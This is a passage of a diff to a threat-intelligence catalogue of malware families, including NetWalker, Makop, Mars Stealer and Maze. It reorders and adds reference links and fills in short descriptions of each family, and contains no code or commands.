"https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", + "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", + "https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/", + "https://www.crowdstrike.com/blog/analysis-of-ecrime-menu-style-toolkits/", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/take-a-netwalk-on-the-wild-side/", + "https://zengo.com/bitcoin-ransomware-detective-ucsf/", + "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", + "https://blog.talosintelligence.com/2020/09/CTIR-quarterly-trends-Q4-2020.html", + "https://cti-league.com/wp-content/uploads/2021/02/CTI-League-Darknet-Report-2021.pdf", + "https://id-ransomware.blogspot.com/2019/09/koko-ransomware.html", + "https://thedfirreport.com/2020/08/31/netwalker-ransomware-in-1-hour/", + "https://www.justice.gov/opa/pr/department-justice-launches-global-action-against-netwalker-ransomware", + "https://sites.temple.edu/care/ci-rw-attacks/", + "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", + "https://www.bleepingcomputer.com/news/security/enel-group-hit-by-ransomware-again-netwalker-demands-14-million/", + "https://www.cybereason.com/blog/cybereason-vs.-netwalker-ransomware", + "https://www.bleepingcomputer.com/news/security/enel-group-hit-by-ransomware-again-netwalker-demands-14-million", + "https://www.bleepingcomputer.com/news/security/mailto-netwalker-ransomware-targets-enterprise-networks/", + "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", + "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", + "https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/", + "https://www.youtube.com/watch?v=q8of74upT_g", + "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", + "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", + "https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/", + "https://blogs.blackberry.com/en/2021/03/zerologon-to-ransomware", + "https://tccontre.blogspot.com/2020/05/netwalker-ransomware-api-call.html", + "https://0x00-0x7f.github.io/Netwalker-from-Powershell-reflective-loader-to-injected-Dll/", + "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", + "https://www.ucsf.edu/news/2020/06/417911/update-it-security-incident-ucsf", + "https://zero2auto.com/2020/05/19/netwalker-re/", + "https://danusminimus.github.io/Zero2Auto-Netwalker-Walkthrough/", + "https://s3.documentcloud.org/documents/21199896/vachon-desjardins-court-docs.pdf", + "https://www.bleepingcomputer.com/news/security/netwalker-ransomware-infecting-users-via-coronavirus-phishing/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", + "https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf" ], "synonyms": [ "Koko Ransomware", @@ -32407,11 +33941,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mail_o", - "https://blog.group-ib.com/task", "https://labs.sentinelone.com/thundercats-hack-the-fsb-your-taxes-didnt-pay-for-this-op/", "https://rt-solar.ru/upload/iblock/b55/Ataki-na-FOIV_otchet-NKTSKI-i-Rostelekom_Solar_otkrytyy.pdf", "https://www.sentinelone.com/labs/thundercats-hack-the-fsb-your-taxes-didnt-pay-for-this-op", - "https://therecord.media/fsb-nktski-foreign-cyber-mercenaries-breached-russian-federal-agencies/" + "https://therecord.media/fsb-nktski-foreign-cyber-mercenaries-breached-russian-federal-agencies/", + "https://blog.group-ib.com/task" ], "synonyms": [], "type": [] @@ -32438,10 +33972,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.makadocs", - "https://kindredsec.wordpress.com/2019/08/12/an-overview-of-public-platform-c2s/", + "http://contagiodump.blogspot.com/2012/12/nov-2012-backdoorw32makadocs-sample.html", "https://kindredsec.com/2019/08/12/an-overview-of-public-platform-c2s/", - "https://www.symantec.com/connect/blogs/malware-targeting-windows-8-uses-google-docs", - "http://contagiodump.blogspot.com/2012/12/nov-2012-backdoorw32makadocs-sample.html" + "https://kindredsec.wordpress.com/2019/08/12/an-overview-of-public-platform-c2s/", + "https://www.symantec.com/connect/blogs/malware-targeting-windows-8-uses-google-docs" ], "synonyms": [], "type": [] @@ -32463,14 +33997,31 @@ "value": "MakLoader" }, { - "description": "BeforeCrypt describes that MAKOP Ransomware first appeared in 2020 as an offshoot of the PHOBOS variant, and that it has infected a number of computers since then. Files encrypted by MAKOP often have the extension “.makop”. You may also notice that your desktop wallpaper has changed. MAKOP uses RSA encryption. There are no known free decryption tools capable of decrypting files encrypted by MAKOP.", + "description": "BeforeCrypt describes that MAKOP Ransomware first appeared in 2020 as an offshoot of the PHOBOS variant, and that it has infected a number of computers since then. Files encrypted by MAKOP often have the extension \u201c.makop\u201d. You may also notice that your desktop wallpaper has changed. MAKOP uses RSA encryption. There are no known free decryption tools capable of decrypting files encrypted by MAKOP.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.makop", + "https://blog.morphisec.com/the-fair-upgrade-variant-of-phobos-ransomware", + "https://medium.com/@lcam/makop-the-toolkit-of-a-criminal-gang-53cd44563c11", + "https://lifars.com/wp-content/uploads/2021/08/Makop-Ransomware-Whitepaper-case-studyNEW-1.pdf", + "https://www.microsoft.com/security/blog/2021/02/01/what-tracking-an-attacker-email-infrastructure-tells-us-about-persistent-cybercriminal-operations/", + "https://twitter.com/siri_urz/status/1221797493849018368" + ], + "synonyms": [], + "type": [] + }, + "uuid": "db4ca498-5481-4b68-8024-edd51d552c38", + "value": "Makop" + }, + { + "description": "BeforeCrypt describes that MAKOP Ransomware first appeared in 2020 as an offshoot of the PHOBOS variant, and that it has infected a number of computers since then. Files encrypted by MAKOP often have the extension \u201c.makop\u201d. You may also notice that your desktop wallpaper has changed. MAKOP uses RSA encryption. There are no known free decryption tools capable of decrypting files encrypted by MAKOP.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.makop_ransomware", + "https://medium.com/@lcam/makop-the-toolkit-of-a-criminal-gang-53cd44563c11", "https://lifars.com/wp-content/uploads/2021/08/Makop-Ransomware-Whitepaper-case-studyNEW-1.pdf", "https://www.microsoft.com/security/blog/2021/02/01/what-tracking-an-attacker-email-infrastructure-tells-us-about-persistent-cybercriminal-operations/", - "https://twitter.com/siri_urz/status/1221797493849018368", - "https://medium.com/@lcam/makop-the-toolkit-of-a-criminal-gang-53cd44563c11" + "https://twitter.com/siri_urz/status/1221797493849018368" ], "synonyms": [], "type": [] @@ -32479,13 +34030,13 @@ "value": "Makop Ransomware" }, { - "description": "", + "description": "According to PCrisk, Maktub is ransomware distributed via zipped Word documents. Once the file is extracted and opened, Maktub infiltrates the system and encrypts files stored on the victim's computer. Maktub ransomware adds a .NORV, .gyul (or other random) extension to each file encrypted, thus, making it straightforward to determine which files are encrypted.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.maktub", + "https://www.intezer.com/iron-cybercrime-group-under-the-scope-2/", "https://bartblaze.blogspot.de/2018/04/maktub-ransomware-possibly-rebranded-as.html", - "https://blog.malwarebytes.com/threat-analysis/2016/03/maktub-locker-beautiful-and-dangerous/", - "https://www.intezer.com/iron-cybercrime-group-under-the-scope-2/" + "https://blog.malwarebytes.com/threat-analysis/2016/03/maktub-locker-beautiful-and-dangerous/" ], "synonyms": [], "type": [] @@ -32507,14 +34058,14 @@ "value": "MalumPOS" }, { - "description": "", + "description": "According to PCrisk, Mamba is an updated variant of high-risk ransomware called Phobos. After successful infiltration, Mamba encrypts stored files and appends filenames with the \".mamba\" extension plus the victim's unique ID and developer's email address.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mamba", + "https://securelist.com/the-return-of-mamba-ransomware/79403/", "https://www.youtube.com/watch?v=LUxOcpIRxmg", - "http://blog.trendmicro.com/trendlabs-security-intelligence/bksod-by-ransomware-hddcryptor-uses-commercial-tools-to-encrypt-network-shares-and-lock-hdds/", "https://www.ic3.gov/Media/News/2021/210323.pdf", - "https://securelist.com/the-return-of-mamba-ransomware/79403/" + "http://blog.trendmicro.com/trendlabs-security-intelligence/bksod-by-ransomware-hddcryptor-uses-commercial-tools-to-encrypt-network-shares-and-lock-hdds/" ], "synonyms": [ "DiskCryptor", @@ -32546,9 +34097,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mangzamel", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2018GlobalThreatReport.pdf", "https://www.hybrid-analysis.com/sample/5d631d77401615d53f3ce3dbc2bfee5d934602dc35d488aa7cebf9b3ff1c4816?environmentId=2", - "https://www.youtube.com/watch?v=NFJqD-LcpIg" + "https://www.youtube.com/watch?v=NFJqD-LcpIg", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2018GlobalThreatReport.pdf" ], "synonyms": [ "junidor", @@ -32605,6 +34156,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.maoloa", + "https://news.sophos.com/en-us/2022/07/20/ooda-x-ops-takes-on-burgeoning-sql-server-attacks/", + "https://www.sangfor.com/blog/cybersecurity/alert-new-globeimposter-olympian-gods-20-coming", "https://id-ransomware.blogspot.com/2019/02/maoloa-ransomware.html" ], "synonyms": [], @@ -32632,8 +34185,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.marap", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", - "https://www.proofpoint.com/us/threat-insight/post/new-modular-downloaders-fingerprint-systems-prepare-more-part-1-marap", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf" + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", + "https://www.proofpoint.com/us/threat-insight/post/new-modular-downloaders-fingerprint-systems-prepare-more-part-1-marap" ], "synonyms": [], "type": [] @@ -32647,8 +34200,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mariposa", "https://www.us-cert.gov/ics/advisories/ICSA-10-090-01", - "https://defintel.com/docs/Mariposa_Analysis.pdf", - "https://krebsonsecurity.com/2019/10/mariposa-botnet-author-darkcode-crime-forum-admin-arrested-in-germany/" + "https://krebsonsecurity.com/2019/10/mariposa-botnet-author-darkcode-crime-forum-admin-arrested-in-germany/", + "https://defintel.com/docs/Mariposa_Analysis.pdf" ], "synonyms": [ "Autorun", @@ -32693,26 +34246,26 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mars_stealer", - "https://isc.sans.edu/diary/rss/28468", - "https://cyberint.com/blog/research/mars-stealer/", - "https://ke-la.com/information-stealers-a-new-landscape/", - "https://www.esentire.com/blog/fake-chrome-setup-leads-to-netsupportmanager-rat-and-mars-stealer", "https://www.bleepingcomputer.com/news/security/new-meta-information-stealer-distributed-in-malspam-campaign/", + "https://www.microsoft.com/security/blog/2022/05/17/in-hot-pursuit-of-cryware-defending-hot-wallets-from-attacks/", + "https://blog.morphisec.com/threat-research-mars-stealer", + "https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/", + "https://3xp0rt.com/posts/mars-stealer", + "https://ke-la.com/information-stealers-a-new-landscape/", + "https://cyberint.com/blog/research/mars-stealer/", + "https://isc.sans.edu/diary/rss/28468", + "https://blog.sekoia.io/mars-a-red-hot-information-stealer/", + "https://isc.sans.edu/diary/Arkei+Variants%3A+From+Vidar+to+Mars+Stealer/28468", + "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", + "https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-mars-stealer", + "https://www.esentire.com/blog/fake-chrome-setup-leads-to-netsupportmanager-rat-and-mars-stealer", "https://cert.gov.ua/article/38606", "https://x-junior.github.io/malware%20analysis/MarsStealer/", - "https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-mars-stealer", - "https://3xp0rt.com/posts/mars-stealer", - "https://isc.sans.edu/diary/Arkei+Variants%3A+From+Vidar+to+Mars+Stealer/28468", - "https://blog.morphisec.com/threat-research-mars-stealer", - "https://blog.sekoia.io/mars-a-red-hot-information-stealer/", - "https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/", - "https://go.recordedfuture.com/hubfs/reports/cta-2022-0802.pdf", - "https://www.microsoft.com/security/blog/2022/05/17/in-hot-pursuit-of-cryware-defending-hot-wallets-from-attacks/", - "https://blog.cyble.com/2022/08/02/fake-atomic-wallet-website-distributing-mars-stealer/", - "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", "https://drive.google.com/file/d/14cmYxzowVLyuiS5qDGOKzgI2_vak2Fve/view", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0802.pdf", "https://resources.infosecinstitute.com/topic/mars-stealer-malware-analysis/", - "https://threatmon.io/mars-stealer-malware-analysis-threatmon/" + "https://threatmon.io/mars-stealer-malware-analysis-threatmon/", + "https://blog.cyble.com/2022/08/02/fake-atomic-wallet-website-distributing-mars-stealer/" ], "synonyms": [], "type": [] @@ -32738,16 +34291,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.masslogger", - "https://www.fireeye.com/blog/threat-research/2020/08/bypassing-masslogger-anti-analysis-man-in-the-middle-approach.html", - "https://decoded.avast.io/anhho/masslogger-v3-a-net-stealer-with-serious-obfuscation/", - "https://blog.talosintelligence.com/2021/02/masslogger-cred-exfil.html", - "https://twitter.com/pancak3lullz/status/1255893734241304576", - "https://medium.com/@mariohenkel/decrypt-masslogger-2-4-0-0-configuration-eff3ee0720a7", "https://fr3d.hk/blog/masslogger-frankenstein-s-creation", + "https://maxkersten.nl/binary-analysis-course/malware-analysis/rezer0v4-loader/", "https://blog.talosintelligence.com/2021/04/a-year-of-fajan-evolution-and-bloomberg.html", "https://www.gdatasoftware.com/blog/2020/06/36129-harmful-logging-diving-into-masslogger", "https://www.seqrite.com/blog/masslogger-an-emerging-spyware-and-keylogger/", - "https://maxkersten.nl/binary-analysis-course/malware-analysis/rezer0v4-loader/" + "https://twitter.com/pancak3lullz/status/1255893734241304576", + "https://decoded.avast.io/anhho/masslogger-v3-a-net-stealer-with-serious-obfuscation/", + "https://medium.com/@mariohenkel/decrypt-masslogger-2-4-0-0-configuration-eff3ee0720a7", + "https://www.fireeye.com/blog/threat-research/2020/08/bypassing-masslogger-anti-analysis-man-in-the-middle-approach.html", + "https://blog.talosintelligence.com/2021/02/masslogger-cred-exfil.html" ], "synonyms": [], "type": [] @@ -32756,18 +34309,18 @@ "value": "MASS Logger" }, { - "description": "", + "description": "According to PCrisk, Matanbuchus is a loader-type malicious program offered by its developers as Malware-as-a-Service (MaaS). This piece of software is designed to cause chain infections.\r\n\r\nSince it is used as a MaaS, both the malware it infiltrates into systems, and the attack reasons can vary - depending on the cyber criminals operating it. Matanbuchus has been observed being used in attacks against US universities and high schools, as well as a Belgian high-tech organization.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.matanbuchus", - "https://medium.com/@DCSO_CyTec/a-deal-with-the-devil-analysis-of-a-recent-matanbuchus-sample-3ce991951d6a", - "https://unit42.paloaltonetworks.com/matanbuchus-malware-as-a-service/", - "https://research.openanalysis.net/matanbuchus/loader/yara/triage/dumpulator/emulation/2022/06/19/matanbuchus-triage.html", - "https://www.cybereason.com/blog/threat-analysis-msi-masquerading-as-software-installer", "https://r136a1.info/2022/05/25/introduction-of-a-pe-file-extractor-for-various-situations/", + "https://www.cybereason.com/blog/threat-analysis-msi-masquerading-as-software-installer", "https://www.0ffset.net/reverse-engineering/matanbuchus-loader-analysis/", "https://isc.sans.edu/diary/rss/28752", - "https://blog.cyble.com/2022/06/23/matanbuchus-loader-resurfaces/" + "https://unit42.paloaltonetworks.com/matanbuchus-malware-as-a-service/", + "https://blog.cyble.com/2022/06/23/matanbuchus-loader-resurfaces/", + "https://medium.com/@DCSO_CyTec/a-deal-with-the-devil-analysis-of-a-recent-matanbuchus-sample-3ce991951d6a", + "https://research.openanalysis.net/matanbuchus/loader/yara/triage/dumpulator/emulation/2022/06/19/matanbuchus-triage.html" ], "synonyms": [], "type": [] @@ -32802,16 +34355,16 @@ "value": "Matrix Banker" }, { - "description": "", + "description": "Matrix is a ransomware that encrypts a victim's files and demands a ransom in cryptocurrency to decrypt them. It is distributed through phishing emails, hacking toolkits, and software downloaders. Matrix is a serious threat and can cause significant damage to a victim's data.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.matrix_ransom", - "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/sophoslabs-matrix-report.pdf", - "https://news.sophos.com/en-us/2019/01/30/matrix-targeted-small-scale-canary-in-the-coal-mine-ransomware/", - "https://blogs.blackberry.com/en/2018/11/threat-spotlight-inside-vssdestroy-ransomware", "https://unit42.paloaltonetworks.com/matrix-ransomware/", + "https://blogs.blackberry.com/en/2018/11/threat-spotlight-inside-vssdestroy-ransomware", + "https://news.sophos.com/en-us/2019/01/30/matrix-targeted-small-scale-canary-in-the-coal-mine-ransomware/", + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", "https://www.blackhoodie.re/assets/archive/Matrix_Ransomware_blackhoodie.pdf", - "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf" + "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/sophoslabs-matrix-report.pdf" ], "synonyms": [], "type": [] @@ -32824,8 +34377,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.matryoshka_rat", - "http://www.clearskysec.com/tulip/", - "https://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf" + "https://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf", + "http://www.clearskysec.com/tulip/" ], "synonyms": [], "type": [] @@ -32851,8 +34404,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.maudi", - "https://contagiodump.blogspot.com/2010/06/may-28-cve-2009-3129-xls-for-office.html", - "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2012/NormanShark-MaudiOperation.pdf" + "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2012/NormanShark-MaudiOperation.pdf", + "https://contagiodump.blogspot.com/2010/06/may-28-cve-2009-3129-xls-for-office.html" ], "synonyms": [], "type": [] @@ -32865,11 +34418,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.maui", + "https://securelist.com/andariel-deploys-dtrack-and-maui-ransomware/107063/", "https://www.cisa.gov/uscert/ncas/alerts/aa22-187a", "https://media.defense.gov/2023/Feb/09/2003159161/-1/-1/0/CSA_RANSOMWARE_ATTACKS_ON_CI_FUND_DPRK_ACTIVITIES.PDF", - "https://stairwell.com/wp-content/uploads/2022/07/Stairwell-Threat-Report-Maui-Ransomware.pdf", "https://www.cisa.gov/uscert/sites/default/files/publications/aa22-187a-north-korean%20state-sponsored-cyber-actors-use-maui-ransomware-to-target-the-hph-sector.pdf", - "https://securelist.com/andariel-deploys-dtrack-and-maui-ransomware/107063/" + "https://stairwell.com/wp-content/uploads/2022/07/Stairwell-Threat-Report-Maui-Ransomware.pdf" ], "synonyms": [], "type": [] @@ -32895,117 +34448,117 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.maze", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/csi-evidence-indicators-for-targeted-ransomware-attacks-part-ii/", - "https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html", - "https://securelist.com/maze-ransomware/99137/", - "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://www.crowdstrike.com/blog/ransomware-preparedness-a-call-to-action/", - "https://www.bleepingcomputer.com/news/security/maze-ransomware-now-delivered-by-spelevo-exploit-kit/", - "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", - "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", - "https://www.bleepingcomputer.com/news/security/chipmaker-maxlinear-reports-data-breach-after-maze-ransomware-attack/", - "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-2/", - "https://www.cityofpensacola.com/DocumentCenter/View/18879/Deloitte-Executive-Summary-PDF", - "https://www.bleepingcomputer.com/news/security/maze-ransomware-now-encrypts-via-virtual-machines-to-evade-detection/", - "https://twitter.com/certbund/status/1192756294307995655", - "https://www.bleepingcomputer.com/news/security/data-leak-marketplaces-aim-to-take-over-the-extortion-economy/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://blog.minerva-labs.com/egregor-ransomware-an-in-depth-analysis", - "https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/", - "https://adversary.crowdstrike.com/adversary/twisted-spider/", - "https://github.com/albertzsigovits/malware-notes/blob/master/Ransomware/Maze.md", - "https://www.secureworks.com/research/threat-profiles/gold-village", - "https://www.bleepingcomputer.com/news/security/it-services-giant-cognizant-suffers-maze-ransomware-cyber-attack/", - "https://blogs.quickheal.com/maze-ransomware-continues-threat-consumers/", - "https://github.com/albertzsigovits/malware-notes/blob/master/Maze.md", - "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", - "https://www.zataz.com/cyber-attaque-a-lencontre-des-serveurs-de-bouygues-construction/", - "https://id-ransomware.blogspot.com/2019/05/chacha-ransomware.html", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf", - "https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-009/", - "https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", - "https://www.fireeye.com/blog/threat-research/2020/07/financially-motivated-actors-are-expanding-access-into-ot.html", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", - "https://labs.sentinelone.com/case-study-catching-a-human-operated-maze-ransomware-attack-in-action/", - "https://sites.temple.edu/care/ci-rw-attacks/", - "http://www.secureworks.com/research/threat-profiles/gold-village", - "https://blog.talosintelligence.com/2019/12/IR-Lessons-Maze.html", - "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", - "https://www.bitdefender.com/files/News/CaseStudies/study/377/Bitdefender-Whitepaper-WMI-creat4871-en-EN-GenericUse.pdf", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://www.zdnet.com/article/ransomware-gang-publishes-tens-of-gbs-of-internal-data-from-lg-and-xerox/", - "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", - "https://www.docdroid.net/dUpPY5s/maze.pdf", - "https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-009.pdf", - "https://statescoop.com/baltimore-ransomware-crowdstrike-extortion/", - "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", - "https://cti-league.com/wp-content/uploads/2021/02/CTI-League-Darknet-Report-2021.pdf", - "https://killbit.medium.com/applying-the-diamond-model-to-cognizant-msp-and-maze-ransomware-and-a-policy-assessment-498f01bd723f", - "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", - "https://www.crowdstrike.com/blog/maze-ransomware-deobfuscation/", - "https://blog.talosintelligence.com/2020/12/quarterly-ir-report-fall-2020-q4.html", - "https://research.checkpoint.com/2020/graphology-of-an-exploit-playbit/", "https://news.sophos.com/en-us/2020/05/12/maze-ransomware-1-year-counting/", - "https://blog.sensecy.com/2020/08/20/global-ransomware-attacks-in-2020-the-top-4-vulnerabilities/", - "https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware", - "https://securelist.com/targeted-ransomware-encrypting-data/99255/", - "https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel", - "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", - "https://www.bleepingcomputer.com/news/security/three-more-ransomware-families-create-sites-to-leak-stolen-data/", - "https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/", - "https://securityaffairs.co/wordpress/127826/malware/egregor-sekhmet-decryption-keys.html", - "https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-007/", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/543/original/CTIR_casestudy_1.pdf", "https://www.mandiant.com/resources/financially-motivated-actors-are-expanding-access-into-ot", - "https://blog.chainalysis.com/reports/ransomware-connections-maze-egregor-suncrypt-doppelpaymer", + "https://research.checkpoint.com/2020/graphology-of-an-exploit-playbit/", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html", "https://www.bleepingcomputer.com/news/security/ransomware-dev-releases-egregor-maze-master-decryption-keys/", - "https://www.bleepingcomputer.com/news/security/maze-ransomware-is-shutting-down-its-cybercrime-operation/", - "https://labs.sentinelone.com/enter-the-maze-demystifying-an-affiliate-involved-in-maze-snow/", - "https://www.brighttalk.com/webcast/7451/408167/navigating-maze-analysis-of-a-rising-ransomware-threat", - "https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", - "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", - "https://news.sophos.com/en-us/2020/09/17/maze-attackers-adopt-ragnar-locker-virtual-machine-technique/", - "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", - "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/escape-from-the-maze/", - "https://www.proofpoint.com/us/threat-insight/post/ta2101-plays-government-imposter-distribute-malware-german-italian-and-us", - "https://blog.redteam.pl/2020/05/sodinokibi-revil-ransomware.html", - "https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf", - "https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/", - "https://krebsonsecurity.com/2019/12/ransomware-gangs-now-outing-victim-businesses-that-dont-pay-up/", - "https://techcrunch.com/2020/03/26/chubb-insurance-breach-ransomware/", - "https://intel471.com/blog/conti-ransomware-cooperation-maze-lockbit-ragnar-locker", - "https://web.archive.org/save/https://news.cognizant.com/2020-04-18-cognizant-security-update", - "https://blog.talosintelligence.com/2020/09/CTIR-quarterly-trends-Q4-2020.html", - "https://download.bitdefender.com/resources/files/News/CaseStudies/study/318/Bitdefender-TRR-Whitepaper-Maze-creat4351-en-EN-GenericUse.pdf", - "https://www.bleepingcomputer.com/news/security/maze-ransomware-releases-files-stolen-from-city-of-pensacola/", - "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", - "https://cocomelonc.github.io/tutorial/2021/09/06/simple-malware-av-evasion-2.html", - "https://www.domaintools.com/resources/blog/the-most-prolific-ransomware-families-a-defenders-guide", - "https://www.bleepingcomputer.com/news/security/maze-ransomware-behind-pensacola-cyberattack-1m-ransom-demand/", + "https://www.bitdefender.com/files/News/CaseStudies/study/377/Bitdefender-Whitepaper-WMI-creat4871-en-EN-GenericUse.pdf", "https://www.bleepingcomputer.com/news/security/ransomware-attackers-use-your-cloud-backups-against-you/", - 